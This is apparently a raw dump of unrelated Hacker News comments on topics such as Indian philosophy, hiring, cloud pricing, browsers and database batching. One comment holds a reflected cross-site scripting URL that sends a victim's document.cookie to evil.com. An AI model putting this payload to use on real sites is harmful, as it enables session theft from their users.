skysight-inc/HackerNews huggingface dataset:
I am more familiar with the Buddhist literature on the self and the theory of mind which was developed in India alongside the Vedic approaches. There should be something similar in the Vedic system.

The article is guilty of the same fault it attributes to others - namely looking at Indian philosophy and its theory of self from a Western lens and missing the vast majority of literature.

In the Buddhist system, they first start by dismantling the idea of a fixed unchanging self by various. This is accomplished in progressively sophisticated arguments - self is just an aggregation of parts, to self is just that which functions to self is a transient changing phenomenon we construct on a moment-by-moment basis.

Then there are extremely sophisticated divisions of the function of the (so-called) mind. See Plato (https://stanford.io/2UFYPZW) for a comphrensive overview and this one for good readable (https://evanthompsondotme.files.wordpress.com/2012/11/indian...) intro.

There are many schools of thought in ancient India like the Carvaka, who were rational/materialist, which no longer exist. Then there are traditions like Mahanyana and Theravada Buddhism that were destroyed after the Islamic conquest from 1100~1400 AD. No survey is complete without considering these traditions.
There's no controversy.
> That's precisely why I'm saying you're generalizing entire races

No, your question was "how do you know first hand that any of these people care?"

I know that any of these people care, and first hand, because they told me. That's the opposite of your claim that I'm generalizing.

> you claim all minorities are ravaged by "microaggressions"

Another strawman. I never said that. You still have not provided a source that supports your claim about that these specific actions and policies infantilizes at least some people.
When I interview candidates, I specifically look for signs of having been a big player in a tiny team. People from this kind of background often think of themselves as senior developers because they've had a lot of responsibility.

But, their knowledge is entirely confined to the things they've directly experienced. Their knowledge is a mile wide and a molecule deep. They don't know the correct terms for things, haven't thought at all about the trade offs involved in different approaches, and (as others on this thread have pointed out) don't know how to deal with a bigger team of people who all have their own opinions, knowledge and experiences.

I might still hire these people but in junior, not senior roles.

My advice: Be very humble. Don't expect to be given the same responsibility elsewhere. You may feel you've earned it but you haven't proved that yet. Really. Learn to accept criticism and to discuss your approach with other people, even if you think you've got it right.

Also, go back and study those textbooks you've been treating as less important, really hard. Believe it or not, you are at the very beginning of your career. There's still a long way to go.

Good luck!
I think part of it is that the big players don’t want you to move data or some of your processes out of their cloud.

Moving data to clouds or within clouds typically is cheaper than moving data out of it. For example, moving data into EC2 is free (or used to be, or https://www.cloudmanagementinsider.com/data-transfer-costs-e... is incorrect. I tried checking that on AWS.amazon.com, but got lost. I also tried finding within-AWS transfer costs, but again, got lost)

It basically is a trap: once you have a lot of stuff in a cloud, all processes working with the data better be in the same cloud.
I've done exactly this before when building an IoT device.
My Greenspun's Counter
Been a Windows user all my life and its printing system has been the least of my troubles over the years

Now, the printers themselves have been a cantankerous lot, but Windows' printing generally works fine at home.

You wanna see dragons? Look at the OSX print spooler. Or can someone tell me why my printer always seems to be stuck on pause??
If it's no big deal, then they should have no problem waiving it.
Maybe this is just one of those pet issues that I can't get behind. Hiding "www" does not strike me as some evil scheme to prevent savvy users from bookmarking websites. It just doesn't.

They already had the feature you are worried about and it's existed since like 1999. Do you remember the "I'm Feeling Lucky" button? You could bookmark a query and it would redirect you to the first result for that search. It was discontinued in 2010 [Wikipedia].

I feel like there are a lot more sane things to be paranoid about in the world right now, but mandatory "I'm feeling lucky" doesn't reach my top 20000.
This is the relevant bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=734643

Apparently, it has something to do with the UI rendering the selected items, and not with the database.
Not sure what variance has to do with it? Thing is, you can always "patch" an X leads to Y theory when faced with opposing evidence by blaming confounding factors. But that is not very scientific. See https://en.wikipedia.org/wiki/Russell%27s_teapot
> If Google disappeared tomorrow, Brave would continue to exist and would continue to get updates.

Microsoft wasn't able to keep developing a browser on their own, I doubt that Brave could. The problem is that a browser nowadays is so complex to develop that you need serious resources to invest in it. Without Google's ongoing development, Brave would not survive. And given Google's changes to undermine ads blockers, it's going to be interesting to see Brave struggling to maintain their fork.

---

> much better for user privacy and security

Right, keep telling yourself that.

Btw, I actually wonder how what Brave is doing isn't copyright infringement, given they are directly profiting from blocking the ads of publishers. I guess they are small enough to not matter, for now.

---

> Brave's ad-blocker works better by default than any ad-blocker I've used, and I've tried them all.

I worked on anti-ad-blocking technology.

Nothing beats uBlock Origin running on top of Firefox, everything else was strictly inferior. Not even blocking JavaScript in the page, because you can easily force the user to enable JS for you by breaking the content on that page. uBlock Origin is so bad that we avoiding it entirely, being useful for people frustrated with AdBlock Plus to turn to, sort of like in the Matrix.
Umm, not really! The blog has the answer. What I liked in the blog is the point that the leaders should not wait for others to acknowledge and start conversations, they should take the lead. They are the LEADERS, after all!
Don't directly refuse the non-compete. They will just say it is non-negotiable "to protect the company" etc...

Instead insist that they include a severance clause that continues to pay you during the term of the non-compete. Either they are serious about the non-compete and will pay you, or they will drop it at that point.

Don't just sign away a deal point for nothing in exchange.
I disagree, but for personal reasons which I don't know how widespread they apply:

1) I travel frequently, for instance to the SV area which provides a good example. I opt to rent a car 95% of the time for my (US) trips, and the reason is that I prefer to move freely. When you're on the whim of an Uber (and in the States you usually can't walk anywhere), it's psychologically unpleasant having to rely on someone to constantly pick you up from somewhere. So much more liberating to have a car parked and move when you please.

2) When you end up moving, you can joyride, which I often do.
Awesome, thanks - just sent you a DM on Twitter.
> I really dislike any attempt to modify strings like this. I find it invariably causes problems in edge cases. What if a site handles slashes differently to how Google expects?

I think it would have to be some standard format that websites use, not just string manipulation in the browsers. And certainly not some Google dictated feature! For the same reason, each part would have to be navigable on these sites, to work as I described. There's various possible solutions, like meta tags or some manifest like breadcrumbs.jsonld mentioned in another comment.

The fact that Windows Explorer doesn't show the full URL in special folders is a separate issue, I only mentioned it for the breadcrumbs example.
Do they give a reason for flagging? Seems like there's a bias in play.
If you don't kill off the existing bone marrow, you end up with a couple problems:

1. You only give the patient a small number of edited cells. You want those cells to multiply and replace the existing cells. If you don't remove the existing cells, the edited cells aren't going to reproduce very fast because the body has a feedback loop and is saying "we have enough bone marrow cells now, so no need to make more".

2. Host versus graft disease. The old immune system will attack the new immune system cells.
My name is Kahlan, I am an ambassador and student for the university of the people. I have had nothing but a positive experience there as well as have been fortunate enough to receive a scholarship. The quality of education is fantastic, the professors and peers are so respectful and friendly, and I never thought I would even be able to attend a college due to lack of flexible time as well as finances. I feel so lucky to be apart of and to have found this wonderful university.
Summarized, Amazon isn't frugal, it's cheap.

One thing to note is that Amazon is the easiest of the FAANGs, so I don't think the idea that "if you can get into Amazon you can get in anywhere" is true.
It doesn't.

isOdd('') => false
isOdd(null) => false
isOdd(2n) => TypeError: Cannot convert a BigInt value to a number

But even if it did, the same line of reasoning leads to the absurd conclusion we should have an addOne function.
Books and scriptures serve to indicate the existence of the Higher Power or Self and to point the way to It. That is their essential purpose. Apart from that they are useless.

However, they are voluminous, in order to be adapted to the level of development of every seeker.

As a person rises in the scale he finds the stages already attained to be only stepping stones to higher stages, until finally the goal is reached. When that happens, the goal alone remains and everything else, including the scriptures, become useless.

The intricate maze of philosophy of the various schools is said to clarify matters and to reveal the Truth, but in fact it creates confusion where none need exist. To understand anything there must be the Self. The Self is obvious, so why not remain as the Self? What need to explain the non-self?
> I keep hearing the language is going to be stable "soon"

I think you may be referring to the promises of ABI stability? They kept promising that "soon" starting around Swift 3 (IIRC) and kicking the can down the road for a while there, but it is stable now on Apple's OSes. But I don't recall seeing promises of source stability back then; they were pretty open about the fact that the language was still evolving.
If you look into the news reporting on the individual cases, some look bad (emails documenting attempts to cover up, smuggling lab materials out of the country) and some don't (despite not including it on the grant form, researchers acknowledged the funding in published papers and didn't try to hide it).
Me neither. What pay-per-ride hassle? The rental companies I use have my credit card on file.

Actually, from a business use perspective, pay-per-ride is probably a lot simpler. I expense the rental. A company is probably not going to typically let you expense a subscription fee unless it were some subscription for the whole company which seems as if it would be challenging for a variety of reasons.
Show HN: The Land of Random – A Newsletter That Defies Definition
The article has this information.

> The spending comes with a few restrictions: Residents can’t use the money to buy cigarettes, lottery tickets, or alcohol. The currency is designed for the essentials, including food, gas, and daycare. Almost every business in town accepts the wooden notes, and twice a month, they can submit redemption requests to the city to turn the notes into cash.
Speaking of stability: https://www.deconstructconf.com/2019/dan-luu-files
By anyone. Any "news" network that's on TV is rubbish. It's not like there's a certification or anything.

Anyone who mocks Fox news and then turns around and watches cnn, msnbc, etc, is a fool.
Let’s see, a state that no longer exists and two of the worst examples of left based ideology nation states.

You sound like a rational person. If I give you three examples of current capitalist ideology authoritarian states (one more example than you gave), reason would dictate that you will of course instantly become a leftest because you are a rational person and by your own self-described logic, the correct ideology is determined by which ideological system has a higher count of authoritarian states.
Sounds reasonable. Lets see those investigations from other nations concerning US actions. Please do link to these occurrences as they will further the discussion of the role of espionage in scientific research.
This is not a problem, this feature is built in in Chrome and is literally one line: https://pptr.dev/#?product=Puppeteer&version=v3.3.0&show=api...
Rust-analyzer does this, and I find it much more helpful than I thought I would
You can work in the back of a car while someone else drives you. Some cars are built to make this comfortable.
Thanks for this, it's a nice summary. The final section about what doesn't work is really interesting and in fact too short! I really thought there was "learning styles".
I didn't realize there was a 24 bit to 32 bit. Was that the 68K to PPC transition?
> the most death for Americans since Korean War

What does this mean exactly? It can't be literal, since I don't think the Chinese have any blame for Americans eating too many triple-cheeseburgers and having heart attacks (heart disease is the leading cause of death for Americans, but I'm not going to stop eating those delicious cheeseburgers.)
It's just lip service to gain an advantage against political opponents who can't be bothered to even discuss increasing technology in the local economy. The policies themselves won't change until practically all representatives are elected on a technology platform. The policies of Silicon Valley followed the local economy's dependence on technology; non-competes were abolished in Silicon Valley because local politicians couldn't survive without vocally supporting the technology industry.
It might be that they are deleting each entry in its own transaction. A transaction causes file system level sync and with the millisecond latency of common hard drives it causes transactions to have a millisecond overhead. Multiply this by a few thousand and you get the latency you are talking about.

I've made this mistake myself in a project of mine and after tracking down the bad performance to this issue ended up adding a layer that emits explicit transaction begin/end statements after N operations.

Edit: See the bug thread linked in the sibling comment. The transaction latency seems to be a component, but other issues remain.
Google is "sketchy" for any non-American who wishes not to be subject to the whims of American law and espionage.
"Inserting in a loop is a bad idea" would have been a more real title.

The moment your insertions can be done in a loop, _batch them_. Batch them, batch them, batch them. I can't stress this enough. Batch them.

Do keep in mind that your DBMS of choice can have a maximum amount of bound variables (SQLite has 999 maximum by default if I remember correctly. It can quickly become an issue.) If you fear that this might happen, split into multiple batches, batch those batches.

> timestamp TEXT

> PRIMARY KEY(timestamp, ...)

Dear god no. Make it an actual `timestamp` type, or an int if you can't.
How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E
Really fast! Nicely done.
Why required and optional is removed in Protocol Buffers 3
Mozart, is that you?
[deleted in shame]
Which really seems like self-projection. America became an ideological and existential threat to many other countries around the world as it grew in power and became a global hegemon. Therefore, China is destined to take the same path as well.

Take a look at how proselytization is embedded into Western civilization and not in the civilizations of East Asia and India. Christian missionary activity was a major driving force during the age of colonization as European missionaries raced to convert indigenous peoples because it's for their own good and they'll spend an eternity in hell otherwise. This same drive to convert other peoples for their own good carried over into many other Western ideas like human rights, liberalism, and communism even after people started dropping Christianity. When the philosophical underpinnings of a civilization is based on converting others, and you project that onto everyone else, it's not hard to imagine that as other people become more powerful, they'll focus all their energies on converting you and wiping your beliefs off the map. America thinks of the competition with China like the wars between Christianity and Islam during the crusades, where there can only be one true god. I'm sure China couldn't care less what American society does as long as it's on the other side of the Pacific.

The civilizations of China and India do not have that same drive to convert others. You ever see Chinese and Indian foundations trying to spread Chinese and Indian values around the world like America does, and trying to make everyone live and think like Americans? China and India are xenophobic. They don't want you to become Chinese and Indians. They want you to stay as you are and leave them alone. And frankly, in an increasingly globalized world, this attitude of letting others do their own thing in their own part of the world instead of trying to spread their ideas like a virus is probably the best path to coexistence.
Always assuming the worst case means shutting the world economy down every time you discover a case of pneumonia of unknown etiology anywhere in the world. That can't be the strategy.

The WHO gives the current state of knowledge, including uncertainties. So in early January, when they didn't know if there was sustained human-to-human transmission of the virus, they said they didn't know, but advised doctors to take precautions to prevent transmission.
Not a swear word, exactly, but some find it genuinely offensive.
I know the average user probably doesn’t care much for URLs but I definitely do and it seems a chunk of HN crowd are with me. Would it be THAT hard to have a toggle option in the Settings so those who want to could preserve the URL?
This is cool! Here's a hello world song, written vertically. The 'w' looks weird tho.

https://music-grid.surge.sh/#4030-524-4030-0-4030-2722-2750-...
Stupid autocorrect of course turned most of my attempts to say callee save with caller save.
Well it's not just the obvious behaviour, it seems like the only useful behaviour, just like the default is returning the number of affected rows (which for insert, would be the number of inserts). You know ahead of time how many items you're trying to insert, it would be completely pointless to return that.
> WP will (eventually) be “performant enough” as PHP advances and they ditch legacy code

The problem is not really that PHP is not fast enough IMO but it's a matter of cost.

Most performance issues can be alleviated with a CDN and a cache plugin. Regular people will not know how to set up those but (I think) WPEngine, Wordpress.com, etc, do that for you but those services are not cheap.

Even if you get the same performance in WP as a SSG the cost will always be superior.
This is almost always a case of a programming language loop that implicitly does..

begin transaction
delete from history where id = @id
commit

.. on every iteration. Which is asking the storage engine to write the new data and make sure it's flushed to disk between each deleted entry. No wonder it's slow. You can get massively better just by hoisting the transaction begin and commit to outside the loop, and even better if you can drop the loop altogether and specify range of entries to delete directly.
This is interesting, but having been down the "serverless" road a number of times in different languages (mostly node.js and ruby) I've found it to be more complex to manage all the services rather than just using RDS and a container orchestrator (these days I'm all in on K8s. I'm happy to explain why if there is interest, but I'm not advocating using it for everything so plz don't flame me) and all the framework features of my chosen platform (currently in love with Elixir/Phoenix).

It also wouldn't help much with the primary PHP challenge I've run across, that of a stateful Wordpress box (and to be fair, the article doesn't claim to help with that. It assumes a 12-factor app). Most PHP I've had to deal with is not stateless, thus making horizontal scaling a challenge. Luckily you can scale pretty far vertically with PHP as long as you haven't made Big O mistakes.
> 3 - can't add a custom search engine. You have to add its extension, if available. Or add as a bookmark with a keyword, but then you won't be able to see a list of all search engines...

As a full time, happy Firefox user, this annoys me to no end, increasingly so as there are more and more competing search engines that I want to try.

I’m pretty sure that you used to be able to add arbitrary search engines too (by specifying the search URL with %q for the search query). It’s amazing to me that they would remove this.
You can think of this as "turning the immune system off and on again", IT Crowd style.

I've heard it discussed as a possible way to treat autoimmune diseases like MS.
Went Live on ProductHunt and already 51 upvotes:D
3 days ago I launched the first version of my very first SaaS, I got some really good feedback all of which was either positive comments or positive criticism. Today I have decided to go live on Product Hunt to get more feedback & some new users.

I sent out a tweet in the early hours of today asking people to leave an upvote. Few hours later ,I never expected to find 51 upvotes already :D :D This is really exciting!

If you got a minute, do leave us an upvote if you can or wish to. Would really appreciate it :D :D :D

https://www.producthunt.com/posts/feedpiper/
The Economic Consequences of Noise Traders (1987) [pdf]
Full disclaimer - Timescale person here - but your use case seems like an example of what a time-series database is for, and given that TimescaleDB[0] is implemented as an extension to Postgres, it's a real obvious fit.

It's designed around the idea of time-series data. It should give you better insert and query performance since it's geared towards that workload. Aside from that, you could even reap the storage benefits using native compression that it supports.

[0] https://www.timescale.com/
Does that not cause people cash-flow problems? In my experience things like mortgages are based on how much you're guaranteed to be paid and if you just say you hope to get a bonus and you hope your shares are worth something they won't be happy.

If your total compensation is something like a quarter of a million as an Amazon engineer does that mean you have to live much more frugally for your first year until you get your bonus and shares?